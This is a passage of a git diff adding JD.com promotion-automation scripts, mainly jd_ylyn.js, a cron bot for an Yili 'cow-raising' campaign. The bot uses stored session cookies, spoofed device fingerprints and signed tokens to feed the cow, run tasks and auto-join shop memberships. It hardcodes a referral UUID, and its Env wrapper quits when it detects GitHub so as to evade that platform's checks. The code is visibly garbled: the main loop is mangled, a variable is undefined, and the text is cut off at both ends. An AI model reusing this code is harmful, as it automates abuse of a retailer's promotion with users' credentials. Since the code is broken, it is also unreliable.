strDate = "0" + strDate; + } + var currentdate = year + split + month + split + strDate; + return currentdate; +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_ylyn.js b/jd_ylyn.js new file mode 100644 index 0000000..91ac5a7 --- /dev/null +++ b/jd_ylyn.js @@ -0,0 +1,563 @@ +/* +伊利养牛记 + +如果提示没有养牛 自己手动进去养一只 +活动入口:伊利京东自营旗舰店->伊利牛奶 +21.0复制整段话 Http:/JnE0bflXQPzN4R 伊利云养一头牛,赢1分钱得牛奶一提!坚持打卡~每日多个好礼相送哟!快来云养的牛宝宝吧!#f1EQN5nQJa%去【椋〣崬】 + +[task_local] +#伊利养牛记 +cron 38 5,18 * * * jd_ylyn.js, tag=伊利养牛记, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ +const $ = new Env('伊利养牛记'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = $.isNode() ? (process.env.Cowexchange ? process.env.Cowexchange : false) : ($.getdata("Cowexchange") ? $.getdata("Cowexchange") : false); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.shareuuid = "7eaf779f13f64e2cbb2b1a55fd1de09f" // + !(async () => { + console.log(`入口:21.0复制整段话 Http:/JnE0bflXQPzN4R 伊利云养一头牛,赢1分钱得牛奶一提!坚持打卡~每日多个好礼相送哟!快来云养的牛宝宝吧!#f1EQN5nQJa%去【椋〣崬】\n`) + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +//genToken +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ3DxdOrbYUybTe3dL1fv5SZqA7LxGNRtzSOx8fh0f3M1MbIvt421AKNKOpCPfGQrrVUodx%2Fkyzv10ruE8Nej2sOUKwb8tCv2kUQ1xlvckMf%2F%2BQlbGZpk3SF6y3AMv848PpSuaIzc4Wef2Q%2FEVdfQwC5mHEU9bM129HM13EJuyirzz6m2X3KkBMA%3D%3D&uemps=0-0&st=1626585864591&sign=b8c73932c27934ace61d09b492e47cd1&sv=101', + body: 'body=%7B%22action%22%3A%22to%22%2C%22to%22%3A%22https%253A%252F%252Flzdz-isv.isvjcloud.com%252Fdingzhi%252Fyili%252Fyangniu%252Factivity%252F5070687%253FactivityId%253Ddz2103100001340201%2526shareUuid%253Dbd93957c016242f6a51194d35449432c%2526adsource%253Dziying%2526shareuserid4minipg%253Du%252FcWHIy7%252Fx3Ij%252BHjfbnnePkaL5GGqMTUc8u%252Fotw2E%252Ba7Ak3lgFoFQlZmf45w8Jzw%2526shopid%253D1000013402%22%7D&', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + $.isvToken = data['tokenKey'] + //console.log($.isvToken) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取pin需要用到 +function getToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ3DxdOrbYUybTe3dL1fv5SZqA7LxGNRtzSOx8fh0f3M1MbIvt421AKNKOpCPfGQrrVUodx%2Fkyzv10ruE8Nej2sOUKwb8tCv2kUQ1xlvckMf%2F%2BQlbGZpk3SF6y3AMv848PpSuaIzc4Wef2Q%2FEVdfQwC5mHEU9bM129HM13EJuyirzz6m2X3KkBMA%3D%3D&uemps=0-0&st=1626585867093&sign=35d78547e97fda4666f0819866a13b19&sv=121', + body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzdz-isv.isvjcloud.com%22%7D&', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token2 = data['token'] + //console.log($.token2) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + + +//抄的书店的 不过不加好像也能进去 +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("/dingzhi/yili/yangniu/activity", `activityId=dz2103100001340201&shareUuid=bd93957c016242f6a51194d35449432c&adsource=ziying&shareuserid4minipg=u/cWHIy7/x3Ij+HjfbnnePkaL5GGqMTUc8u/otw2E+a7Ak3lgFoFQlZmf45w8Jzw&shopid=1000013402&lng=114.062541&lat=29.541254&sid=eec1865d9c44c1070f3b5e6718c9ee1w&un_area=4_48201_54794_0`), (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getshopid() { + let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=dz2103100001340201") + + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.shopid = data.data.venderId + //console.log($.shopid) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getMyPin() { + let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + // console.log($.pin) + $.nickname = data.data.nickname + $.lz_jdpin_token = resp['headers']['set-cookie'].filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + // console.log(data) + console.log(`${$.nickname}`); + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adlog() { + let config = taskPostUrl("/common/accessLogWithAD", `venderId=1000013402&code=99&pin=${encodeURIComponent($.pin)}&activityId=dz2103100001340201&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fyili%2Fyangniu%2Factivity%2F4827909%3FactivityId%3Ddz2103100001340201%26shareUuid%3Db44243656a694b6f94bb30a4a5f2a45d%26adsource%3Dziying%26shareuserid4minipg%3D5Iufa9rY657S3OP3PLSpK07oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w%3D%3D%26shopid%3D1000013402%26lng%3D114.062604%26lat%3D29.541501%26sid%3D6e9bfee3838075a72533536815d8f3ew%26un_area%3D4_48201_54794_0&subType=app&adSource=ziying`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function saveCow() { + return new Promise(resolve => { + + let body = `activityId=dz2103100001340201&actorUuid=${$.shareuuid}&shareUuid=${$.shareuuid}&cowNick=%E6%9F%A0%E6%AA%AC` + let config = taskPostUrl('/dingzhi/yili/yangniu/saveCow', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + //$.log(data) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result == true) { + $.cowNick = data.data.cowNick + $.log("取名:"+$.cowNick) + } else if(data.result == false){ + + $.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + let config = taskPostUrl('/wxActionCommon/getUserInfo', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data) { + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } else { + $.cando = false + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUid() { + return new Promise(resolve => { + let body = `activityId=dz2103100001340201&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg }&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` + $.post(taskPostUrl('/dingzhi/yili/yangniu/activityContent', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if(data.data.openCard == false){ + console.log("当前未开卡,无法助力和兑换奖励哦") + await join(100000000000168,1000013402) + + } + $.shareuuid = data.data.actorUuid + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}\n好友互助码】${$.shareuuid}\n`); + + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId,shopId) { + return new Promise(resolve => { +let joinurl ={ + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${venderId}","shopId":"${shopId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0}&client=H5&clientVersion=8.5.6&uuid=88888&jsonp=jsonp_1599410555929_50468`, + headers: { + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'Referer': `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${venderId}","shopId":"${shopId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0}&client=H5&clientVersion=8.5.6&uuid=88888&jsonp=jsonp_1599410555929_50468`, + 'Cookie': cookie1, + } + } + + $.get(joinurl, async (err, resp, data) => { + try { + + data = data.match(/(\{().+\})/)[1] + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + }else if(data.success == false){ + $.log(data.message) + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function feedCow() { + + let config = taskPostUrl("/dingzhi/yili/yangniu/feedCow", `activityId=dz2103100001340201&actorUuid=${$.shareuuid}&pin=${encodeURIComponent($.pin)}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data) { + $.cs = data.data.score2*0.1 + $.cj = data.data.assistCount + $.log($.cj) + console.log(`老牛等级:${data.data.level}\n下一等级还需吃奶:${data.data.score*0.1}\n剩余奶滴:${data.data.score2*0.1}`) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + + +function dotask(taskType, taskValue) { + + let config = taskPostUrl("/dingzhi/yili/yangniu/saveTask", 